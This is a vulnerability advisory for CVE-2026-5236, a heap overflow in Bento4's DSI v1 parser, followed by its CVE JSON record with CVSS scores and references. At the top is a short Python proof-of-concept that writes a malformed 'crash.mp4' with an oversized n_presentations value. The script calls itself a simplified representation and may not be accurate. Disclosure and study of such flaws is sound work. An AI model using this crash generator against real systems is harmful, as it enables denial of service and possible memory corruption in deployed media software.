CVE-2026-5236

# PoC Concept for CVE-2026-5236 # This script demonstrates how to craft a malformed DSI v1 atom # to trigger the heap overflow in AP4_BitReader::SkipBits. import struct def create_malformed_dsi_atom(): # Atom header (type 'dsi ') atom_header = b'\x00\x00\x00\x20dsi ' # Vulnerable argument: n_presentations # Setting an excessively large value to cause SkipBits overflow # Normal values are small integers, large values bypass checks n_presentations = 0xFFFFFFFF # Pack the data (simplified representation) payload = struct.pack('<I', n_presentations) # Fill remaining buffer to fit size 0x20 payload += b'A' * (0x20 - len(atom_header) - len(payload)) return atom_header + payload if __name__ == "__main__": malformed_data = create_malformed_dsi_atom() with open("crash.mp4", "wb") as f: f.write(malformed_data) print("[+] Malformed file generated: crash.mp4") print("[+] Use Bento4 (<= 1.6.0-641) to parse this file to trigger the crash.")

{"cve": {"id": "CVE-2026-5236", "sourceIdentifier": "[email protected]", "published": "2026-03-31T23:17:11.393", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was identified in Axiomatic Bento4 up to 1.6.0-641. Affected is the function AP4_BitReader::SkipBits of the file Ap4Dac4Atom.cpp of the component DSI v1 Parser. Such manipulation of the argument n_presentations leads to heap-based buffer overflow. The attack needs to be performed locally. The exploit is publicly available and might be used. The project was informed of the problem early through an issue report but has not responded yet."}, {"lang": "es", "value": "Se identificó una vulnerabilidad en Axiomatic Bento4 hasta la versión 1.6.0-641. Se ve afectada la función AP4_BitReader::SkipBits del archivo Ap4Dac4Atom.cpp del componente DSI v1 Parser. Dicha manipulación del argumento n_presentations conduce a un desbordamiento de búfer basado en montículo. El ataque debe realizarse localmente. El exploit está disponible públicamente y podría ser utilizado. El proyecto fue informado del problema con antelación a través de un informe de incidencias, pero aún no ha respondido."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 1.9, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.8, "impactScore": 3.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:L/AC:L/Au:S/C:P/I:P/A:P", "baseScore": 4.3, "accessVector": "LOCAL", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 3.1, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-119"}, {"lang": "en", "value": "CWE-122"}]}], "references": [{"url": "https://github.com/axiomatic-systems/Bento4/issues/1059", "source": "[email protected]"}, {"url": "https://github.com/axiomatic-systems/Bento4/issues/1059#issue-4078584738", "source": "[email protected]"}, {"url": "https://vuldb.com/submit/780473", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/354387", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/354387/cti", "source": "[email protected]"}]}}